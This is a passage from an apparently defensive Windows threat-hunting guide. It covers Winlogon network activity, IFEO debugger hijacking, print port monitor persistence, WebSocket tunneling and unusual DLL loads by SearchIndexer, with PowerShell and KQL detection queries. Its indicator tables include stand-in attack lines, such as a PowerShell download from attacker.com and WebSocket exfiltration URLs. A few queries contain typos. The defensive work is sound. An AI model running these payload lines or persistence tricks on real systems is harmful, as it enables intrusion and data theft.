* **Focus on Event IDs:** **4688**, **4624**, **4768**.
* **Monitor SQLCMD Commands:** Look for `xp_cmdshell` and sensitive queries.
* **Limit Privileges:** Ensure `sqlcmd` cannot execute arbitrary system commands.

***

## 🚨 **Suspicious Connection by Winlogon.exe**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `Winlogon.exe`?**

* **`Winlogon.exe`** is a core **Windows process** responsible for handling user login, desktop initialization, and user session management.
* It’s located in:
  * **`C:\Windows\System32\winlogon.exe`**
* It should **never establish outbound network connections** under normal circumstances.

#### 📑 **Why Do Attackers Abuse `Winlogon.exe`?**

* **Trusted Binary:** Signed by Microsoft and rarely monitored.
* **Stealth:** Blends in with legitimate processes.
* **Evasion:** Evades traditional antivirus and security tools.
* **Persistence:** Can be abused for long-term persistence.
* **Data Exfiltration:** Used to hide outbound communication.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                      | **Description**                                  | **Example Indicator**                                                 |
| ---------------------------------- | ------------------------------------------------ | --------------------------------------------------------------------- |
| **Code Injection into Winlogon**   | Malicious code injected into Winlogon.           | `rundll32.exe inject.dll`                                             |
| **Winlogon Network Communication** | Unauthorized outbound connections from Winlogon. | `winlogon.exe connects to 192.168.1.100`                              |
| **Persistence via Registry**       | Backdoors set in Winlogon registry keys.         | `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` |
| **Credential Theft**               | Exfiltration of cached credentials.              | `winlogon.exe dumps LSASS process`                                    |
| **Proxy for Malware C2 Traffic**   | Winlogon used to proxy C2 connections.           | `winlogon.exe connects to malicious.com`                              |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Verify Winlogon Process Path**

```powershell
Get-Process -Name winlogon | Select-Object Id, Path
```

* ✅ **Expected Path:** `C:\Windows\System32\winlogon.exe`
* ❌ **Suspicious Path:** `C:\Users\Public\winlogon.exe`, `C:\Temp\winlogon.exe`

***

**🕵️ Check Network Connections by Winlogon**

```powershell
Get-Process -Name winlogon | ForEach-Object {
    Get-NetTCPConnection -OwningProcess $_.Id
}
```

* Look for **Outbound Connections** to:
  * Unfamiliar IPs.
  * Non-standard ports (e.g., 4444, 8080).

***

**🕵️ Inspect Parent-Child Relationship**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "winlogon.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine
```

* ✅ **Expected Parent Process:** `services.exe`
* ❌ **Unexpected Parent Process:** `cmd.exe`, `powershell.exe`

***

**🕵️ Inspect Winlogon Registry Keys**

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

* Focus on:
  * **`Userinit`** (should point to `userinit.exe`)
  * **`Shell`** (should point to `explorer.exe`)

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Winlogon Outbound Network Connections**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "winlogon.exe"
| where RemoteIP != "127.0.0.1" and RemoteIP != "::1"
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName
```

**🕵️ Monitor Suspicious Winlogon Registry Changes**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Winlogon"
| where RegistryValueName in ("Userinit", "Shell")
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Trace Process Tree Involving Winlogon**

```kusto
DeviceProcessEvents
| where FileName == "winlogon.exe"
| where ParentProcessName != "services.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify Code Injection into Winlogon**

```kusto
DeviceProcessEvents
| where FileName == "winlogon.exe"
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, AccountNam
```

####

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                             |
| ------------ | ------------------------------------------- |
| **4688**     | A new process was created (`winlogon.exe`). |
| **5156**     | Network connection allowed.                 |
| **4663**     | Registry key access detected.               |
| **7045**     | A new service was installed.                |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: winlogon.exe -c "powershell.exe -EncodedCommand"
  ParentProcessName: cmd.exe
  ```

**📌 Focus on Event ID 4663:**

* Registry key modification:

  ```plaintext
  RegistryKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate Winlogon Binary Integrity**

```powershell
Get-FileHash "C:\Windows\System32\winlogon.exe" -Algorithm SHA256
```

* Compare hash on **VirusTotal**.

***

#### 2️⃣ **Inspect Winlogon Startup Configurations**

```powershell
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

***

#### 3️⃣ **Trace Winlogon’s Network Traffic**

```powershell
netstat -ano | findstr <Winlogon_PID>
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Winlogon Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Restore Registry Keys**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "userinit.exe"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "explorer.exe"
```

#### 📌 **3. Remove Suspicious Executables**

```powershell
Remove-Item -Path "C:\Users\Public\winlogon.exe" -Force
```

#### 📌 **4. Block Malicious IPs**

```powershell
New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Command Line Auditing:** Track Winlogon execution.
2. **Monitor Registry Changes:** Enable alerts for Winlogon keys.
3. **Restrict Registry Permissions:** Prevent unauthorized modifications.
4. **Review Firewall Rules:** Block unnecessary outbound connections.
5. **Enable Behavioral Analytics:** Use EDR to monitor anomalies.

***

### 🧠 **6. Key Takeaways**

* **Winlogon.exe Should Not Make Network Connections:** Flag outbound traffic.
* **Monitor Registry Keys:** Validate `Userinit` and `Shell`.
* **Focus on Event IDs:** **4688**, **4663**, **5156**.
* **Investigate Parent-Child Process Trees:** Ensure legitimate parent processes.

***

## 🚨 **Image File Execution Options (IFEO) Injection: Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is IFEO (Image File Execution Options)?**

* **Image File Execution Options (IFEO)** is a **Windows Registry key** designed for **debugging applications**.
* Attackers exploit IFEO to:
  * **Hijack legitimate applications.**
  * **Establish persistence** by injecting malicious binaries.
  * **Redirect application execution** to malicious payloads.

#### 📑 **Why Do Attackers Use IFEO Injection?**

* **Persistence:** Payloads execute every time the targeted application runs.
* **Stealth:** Abuses legitimate debugging mechanisms.
* **Execution Control:** Replace or redirect legitimate processes.
* **Low Detection Rate:** Often ignored by traditional antivirus tools.

***

#### 📌 **Common Attack Scenarios**

| **Technique**               | **Registry Key**                                                                              | **Example Payload**                                                           |
| --------------------------- | --------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| **Debugger Hijacking**      | `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe`  | `Debugger = C:\Malicious\payload.exe`                                         |
| **Application Redirection** | `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe` | `Debugger = powershell.exe -ExecutionPolicy Bypass -EncodedCommand <payload>` |
| **Persistence Mechanism**   | `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe`  | `Debugger = cmd.exe /c start malicious.exe`                                   |
| **DLL Hijacking**           | `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe` | `Debugger = rundll32.exe C:\malicious.dll`                                    |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **🕵️ List IFEO Registry Keys**

```powershell
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" |
Select-Object Name
```

**🕵️ Search for Debugger Entries**

```powershell
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger } |
Select-Object PSChildName, Debugger
```

**🕵️ Inspect User-Level IFEO Keys**

```powershell
سختحريرGet-ChildItem -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger } |
Select-Object PSChildName, Debugger
```

**🕵️ Check for Suspicious Debugger Paths**

```powershell
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger -match "cmd.exe|powershell.exe|rundll32.exe" } |
Select-Object PSChildName, Debugger
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious IFEO Registry Modifications**

```kql
DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueName == "Debugger"
| where RegistryValueData contains "cmd.exe" or RegistryValueData contains "powershell.exe" or RegistryValueData contains "rundll32.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Trace IFEO Modifications by Processes**

```kql
DeviceProcessEvents
| where ProcessCommandLine contains "reg add" and ProcessCommandLine contains "Image File Execution Options"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Application Execution via IFEO Hijacking**

```kql
DeviceProcessEvents
| where FileName in ("notepad.exe", "explorer.exe", "svchost.exe", "winlogon.exe")
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify IFEO Persistence Mechanisms**

```kql
DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueName == "Debugger"
| where RegistryValueData contains "malicious.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                    |
| ------------ | ------------------------------------------------------------------ |
| **4688**     | New process created (`cmd.exe`, `powershell.exe`, `rundll32.exe`). |
| **4663**     | Registry key access detected.                                      |
| **4104**     | PowerShell script block execution.                                 |
| **7045**     | A new service was installed.                                       |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: cmd.exe /c "malicious.exe"
  ParentProcessName: explorer.exe
  ```

**📌 Focus on Event ID 4663:**

* Registry access:

  ```plaintext
  RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate IFEO Entries**

```powershell
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger }
```

***

#### 2️⃣ **Inspect Associated Binaries**

* Verify integrity of payloads:

```powershell
Get-FileHash -Path "C:\Malicious\payload.exe"
```

***

#### 3️⃣ **Trace Parent-Child Process Trees**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Malicious IFEO Registry Entries**

```powershell
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" -Name "Debugger"
```

#### 📌 **2. Validate Application Paths**

* Ensure legitimate binaries are in the expected paths.

#### 📌 **3. Audit Registry Access**

* Enable **Registry Auditing** for IFEO keys.

#### 📌 **4. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Command Line Auditing:** Monitor `reg add` commands.
2. **Restrict Registry Access:** Limit access to IFEO registry keys.
3. **Monitor Event Logs:** Focus on **4688**, **4663**, **7045**.
4. **Implement EDR Policies:** Block suspicious registry modifications.
5. **Enable Behavior-Based Detection:** Identify abnormal parent-child relationships.

***

### 🧠 **6. Key Takeaways**

* **Monitor IFEO Keys:** Regularly audit `Debugger` values.
* **Event Focus:** Look at **4688**, **4663**, and **7045**.
* **Verify Parent-Child Processes:** Look for unexpected process launches.
* **Enable Behavioral Analytics:** Detect anomalies in registry access.

***

## 🚨 **Port Monitors (Registry): Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What are Port Monitors?**

* **Port Monitors** are Windows components that handle **print jobs** sent to printers via defined ports.
* They are configured in the **Windows Registry** and are often legitimate but can be abused by attackers for **persistence** and **code execution**.

#### 📑 **Why Do Attackers Abuse Port Monitors?**

* **Persistence:** Automatically execute malicious code on system startup.
* **Stealth:** Blend in with legitimate printer operations.
* **Evasion:** Often overlooked by antivirus and security tools.
* **Arbitrary Code Execution:** Run payloads every time a print job is initiated.

#### 📌 **Common Registry Paths for Port Monitors**

* **HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors**
* **HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3**

#### 📌 **Common Attack Scenarios**

| **Technique**                             | **Registry Key**                                                            | **Example Payload**                                                 |
| ----------------------------------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------- |
| **Malicious DLL as Port Monitor**         | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MaliciousMonitor`     | `C:\Windows\Temp\malicious.dll`                                     |
| **Persistence via Print Spooler Service** | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MonitorName\Driver`   | `C:\Windows\Temp\payload.dll`                                       |
| **Arbitrary DLL Execution**               | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\AttackMonitor`        | `powershell -c "Invoke-WebRequest http://attacker.com/payload.exe"` |
| **Hijacking Legitimate Monitors**         | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port` | `C:\Windows\Temp\exploit.dll`                                       |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List All Registered Port Monitors**

```powershell
Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | Select-Object Name
```

**🕵️ Inspect Port Monitor DLL Paths**

```powershell
Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -Recurse |
Get-ItemProperty | Select-Object PSChildName, Driver
```

**🕵️ Identify Suspicious DLL Locations**

```powershell
Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -Recurse |
Get-ItemProperty | Where-Object { $_.Driver -match "Temp|Public|AppData" } |
Select-Object PSChildName, Driver
```

**🕵️ Check for Recent Modifications**

```powershell
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | 
Select-Object PSChildName, LastWriteTime
```

**🕵️ Verify Loaded Monitor DLLs in Memory**

```powershell
Get-Process -Name spoolsv | Select-Object -ExpandProperty Modules |
Where-Object { $_.FileName -like "*.dll" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Port Monitor Modifications**

```kql
DeviceRegistryEvents
| where RegistryKey contains "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors"
| where RegistryValueName == "Driver"
| where RegistryValueData contains "Temp" or RegistryValueData contains "Public"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Identify Suspicious DLLs Loaded by Spooler Service**

```kql
DeviceFileEvents
| where InitiatingProcessFileName == "spoolsv.exe"
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, FileName, AccountName
```

**🕵️ Monitor Registry Changes in Port Monitors**

```kql
DeviceRegistryEvents
| where RegistryKey contains "Print\\Monitors"
| where ActionType == "RegistryValueSet"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Trace DLL Execution via Print Spooler**

```kql
DeviceProcessEvents
| where ParentProcessFileName == "spoolsv.exe"
| where FileName endswith ".dll"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Unauthorized Port Monitor Additions**

```kql
DeviceRegistryEvents
| where RegistryKey contains "Print\\Monitors"
| where RegistryValueName == "Driver"
| where RegistryValueData !contains "System32"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                  |
| ------------ | ------------------------------------------------ |
| **4688**     | New process created (`spoolsv.exe`).             |
| **4663**     | Registry key access detected (`Print\Monitors`). |
| **7045**     | A new service was installed.                     |
| **7036**     | Print Spooler service state change.              |

**📌 Focus on Event ID 4663:**

* Look for:

  ```plaintext
  RegistryKey: HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors
  ```

**📌 Focus on Event ID 7045:**

* A new DLL/service is loaded into Print Spooler:

  ```plaintext
  ServiceName: Spooler
  BinaryPath: C:\Windows\Temp\malicious.dll
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Verify Port Monitor DLL Integrity**

```powershell
Get-FileHash -Path "C:\Windows\Temp\malicious.dll"
```

* Compare hash on **VirusTotal**.

***

#### 2️⃣ **Check Loaded DLLs in Spooler Process**

```powershell
(Get-Process spoolsv).Modules | Where-Object { $_.FileName -like "*.dll" }
```

***

#### 3️⃣ **Analyze Registry Modifications**

```powershell
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Malicious Port Monitor Entries**

```powershell
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\MaliciousMonitor" -Recurse
```

#### 📌 **2. Restart Print Spooler Service**

```powershell
Stop-Service -Name Spooler -Force
Start-Service -Name Spooler
```

#### 📌 **3. Remove Suspicious DLLs**

```powershell
Remove-Item -Path "C:\Windows\Temp\malicious.dll" -Force
```

#### 📌 **4. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor Registry Changes:** Enable auditing for `Print\Monitors` keys.
2. **Restrict Registry Access:** Limit administrative access to Port Monitor keys.
3. **Monitor Print Spooler Activity:** Regularly review `spoolsv.exe` behavior.
4. **Implement EDR Rules:** Detect unauthorized Port Monitor additions.
5. **Review Event Logs Regularly:** Focus on **4688**, **4663**, **7045**.

***

### 🧠 **6. Key Takeaways**

* **Focus on Registry Keys:** `Print\Monitors` for unauthorized DLLs.
* **Monitor Event IDs:** **4688**, **4663**, **7045**.
* **Trace Suspicious Processes:** Any non-system DLLs loaded by `spoolsv.exe`.
* **Regular Audits:** Ensure no unauthorized registry modifications exist

## 🚨 **Potential Tunneled Communication via WebSocket Connection: Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is WebSocket?**

* **WebSocket** is a **communication protocol** that provides **full-duplex communication channels** over a **single TCP connection**.
* It is commonly used for:
  * **Real-time applications:** Chat apps, stock trading platforms, etc.
  * **Low-latency connections:** For persistent client-server connections.

#### 📑 **Why Do Attackers Use WebSocket for Tunneling?**

* **Evasion:** Traffic looks like legitimate application communication.
* **Persistence:** Persistent connection for long-term access.
* **Stealth:** Harder to detect due to encryption and regular WebSocket behavior.
* **Data Exfiltration:** Data can be extracted via WebSocket frames.
* **Command and Control (C2):** Establish persistent backdoor communications.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                       | **Description**                                        | **Example Indicator**         |
| ----------------------------------- | ------------------------------------------------------ | ----------------------------- |
| **WebSocket C2 Channel**            | Malicious C2 server over WebSocket.                    | `ws://malicious.com/c2`       |
| **Data Exfiltration via WebSocket** | Extract data via WebSocket frames.                     | `wss://attacker.com/exfil`    |
| **WebSocket Beaconing**             | Regular communication to avoid detection.              | `ws://hidden-server.com:8080` |
| **Fileless Malware Execution**      | Execute commands via WebSocket without dropping files. | `ws://attack.com/command`     |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Active WebSocket Connections**

```powershell
Get-NetTCPConnection | Where-Object { $_.RemotePort -eq 80 -or $_.RemotePort -eq 443 } | Format-Table
```

**🕵️ Check Processes with Active WebSocket Communication**

```powershell
Get-Process | Where-Object { $_.Modules -match "websocket" } | Select-Object Id, ProcessName, Path
```

**🕵️ Inspect Suspicious PowerShell Processes**

```powershell
Get-EventLog -LogName Security | Where-Object { $_.Message -like "*powershell*" -and $_.Message -like "*Invoke-WebRequest*" }
```

**🕵️ Check for Suspicious Outbound WebSocket Communication**

```powershell
netstat -ano | findstr :80 :443
```

**🕵️ Identify Processes Using WebSocket Libraries**

```powershell
Get-ChildItem -Path "C:\Windows\System32" -Recurse -Include *.dll | Where-Object { $_.Name -like "*websocket*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect WebSocket Communication by Suspicious Processes**

```kusto
DeviceNetworkEvents
| where RemotePort in (80, 443)
| where Protocol == "WebSocket"
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName
```

**🕵️ Identify WebSocket Communication to Unusual Domains/IPs**

```kusto
DeviceNetworkEvents
| where Protocol == "WebSocket"
| where RemoteUrl contains ".onion" or RemoteIP != "127.0.0.1"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName
```

**🕵️ Trace Beaconing Patterns over WebSocket**

```kusto
DeviceNetworkEvents
| where Protocol == "WebSocket"
| summarize count() by RemoteIP, RemoteUrl, DeviceName
| where count > 10
| order by count desc
```

**🕵️ Monitor Outbound WebSocket Traffic to Suspicious Hosts**

```kusto
kDeviceNetworkEvents
| where Protocol == "WebSocket"
| where RemoteIP in ("192.168.1.100", "10.10.10.10")
| project Timestamp, DeviceName, RemoteIP, ProcessCommandLine, AccountName
```

**🕵️ Detect Encoded Commands in WebSocket Frames**

```kusto
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

,📊 **Event Viewer Logs**

| **Event ID** | **Description**                                    |
| ------------ | -------------------------------------------------- |
| **4688**     | New process created (`powershell.exe`, `cmd.exe`). |
| **5156**     | Network connection allowed.                        |
| **4663**     | Object access attempt.                             |
| **4104**     | PowerShell script block execution.                 |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: powershell.exe -c "Invoke-WebRequest ws://malicious.com"
  ParentProcessName: explorer.exe
  ```

**📌 Focus on Event ID 5156:**

* Identify outbound WebSocket connections:

  ```plaintext
  RemoteAddress: malicious.com
  Port: 80/443
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect WebSocket Connections**

```powershell
netstat -anob | findstr "80 443"
```

***

#### 2️⃣ **Trace WebSocket Processes**

```powershell
Get-Process -Id <PID>
```

***

#### 3️⃣ **Analyze Traffic Logs**

* Use **Wireshark** or **Tshark**:

```shell
tshark -Y "websocket"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Block Malicious IPs or Domains**

```powershell
New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block
```

#### 📌 **3. Inspect Configuration Files**

* Review `AppData`, `Temp`, and startup locations.

#### 📌 **4. Clear DNS Cache**

```powershell
Clear-DnsClientCache
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable WebSocket Monitoring:** Ensure SIEM monitors WebSocket connections.
2. **Restrict PowerShell Execution Policies:** Apply restrictive PowerShell policies.
3. **Enable Command Line Auditing:** Capture `ws://` and `wss://` usage.
4. **Monitor Beaconing Patterns:** Use behavioral analytics to detect periodic communication.
5. **User Education:** Train staff to recognize malicious URLs.

***

### 🧠 **6. Key Takeaways**

* **Monitor WebSocket Traffic:** Especially outbound connections on **port 80/443**.
* **Focus on Event IDs:** **4688**, **5156**, **4104**.
* **Identify Parent-Child Anomalies:** Unusual PowerShell execution with `ws://`.

***

## 🚨 **Unusual DLL Load by Indexer**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is the Windows Indexer (`SearchIndexer.exe`)?**

* **`SearchIndexer.exe`** is a legitimate **Windows process** responsible for indexing files and folders to enable fast searches on the system.
* It is located in:
  * **`C:\Windows\System32\SearchIndexer.exe`**
* The process interacts with various **DLL files** to perform indexing tasks.

#### 📑 **Why Do Attackers Target `SearchIndexer.exe`?**

* **Trusted Binary:** Signed by Microsoft and often ignored by security tools.
* **Living Off the Land (LoTL):** Abuse legitimate processes to avoid detection.
* **Stealth:** DLL injection hides malicious activity under a legitimate process.
* **Persistence:** Loaded DLLs can maintain persistence across reboots.
* **Privilege Escalation:** Exploit misconfigurations for elevated privileges.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                       | **Description**                                                      | **Example Indicator**                                                            |
| ----------------------------------- | -------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| **DLL Side-Loading**                | Place a malicious DLL in a directory indexed by `SearchIndexer.exe`. | `C:\Windows\Temp\malicious.dll`                                                  |
| **DLL Hijacking**                   | Replace or hijack legitimate DLLs.                                   | `C:\Windows\System32\legit.dll → malicious.dll`                                  |
| **Persistence via Registry Key**    | Set `SearchIndexer.exe` to load malicious DLLs.                      | `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` |
| **Reflective DLL Injection**        | Inject a DLL directly into `SearchIndexer.exe`.                      | `rundll32.exe malicious.dll`                                                     |
| **Code Execution via DLL Proxying** | Redirect legitimate DLL calls to malicious payloads.                 | `C:\Users\Public\fake.dll`                                                       |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Loaded DLLs by SearchIndexer**

```powershell
Get-Process -Name SearchIndexer | Select-Object -ExpandProperty Modules | Select-Object FileName
```

* ✅ **Expected Directories:** `C:\Windows\System32\`
* ❌ **Suspicious Directories:** `C:\Temp\`, `C:\Users\Public\`

***

**🕵️ Identify DLLs Recently Loaded by SearchIndexer**

```powershell
Get-EventLog -LogName Security | Where-Object { $_.Message -like "*SearchIndexer.exe*" -and $_.Message -like "*.dll*" }
```

***

**🕵️ Inspect Parent-Child Relationship**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "SearchIndexer.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine
```

* ✅ **Expected Parent:** `services.exe`
* ❌ **Unexpected Parent:** `cmd.exe`, `powershell.exe`

***

**🕵️ Check DLLs in Suspicious Paths**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Filter "*.dll" -Recurse
```

***

**🕵️ Check for Suspicious DLL Registry Entries**

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Unusual DLL Loaded by SearchIndexer**

```kusto
DeviceImageLoadEvents
| where InitiatingProcessFileName == "SearchIndexer.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, AccountName
```

**🕵️ Trace Suspicious DLL Load Attempts**

```kusto
DeviceFileEvents
| where InitiatingProcessFileName == "SearchIndexer.exe"
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Identify Registry Persistence via DLL Load**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueData contains "SearchIndexer.exe"
| where RegistryValueData contains ".dll"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Trace DLL Side-Loading Behavior**

```kusto
DeviceImageLoadEvents
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                  |
| ------------ | ------------------------------------------------ |
| **4688**     | A new process was created (`SearchIndexer.exe`). |
| **4663**     | Object access attempt (e.g., DLL access).        |
| **7036**     | Service state changed.                           |
| **7045**     | A new service was installed.                     |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: SearchIndexer.exe C:\Temp\malicious.dll
  ParentProcessName: services.exe
  ```

**📌 Focus on Event ID 4663:**

* Registry key access:

  ```plaintext
  RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate DLL Hashes**

```powershell
Get-FileHash -Path "C:\Temp\malicious.dll"
```

* Compare hash on **VirusTotal**.

***

#### 2️⃣ **Trace Parent-Child Relationships**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 3️⃣ **Review Recent File Changes**

```powershell
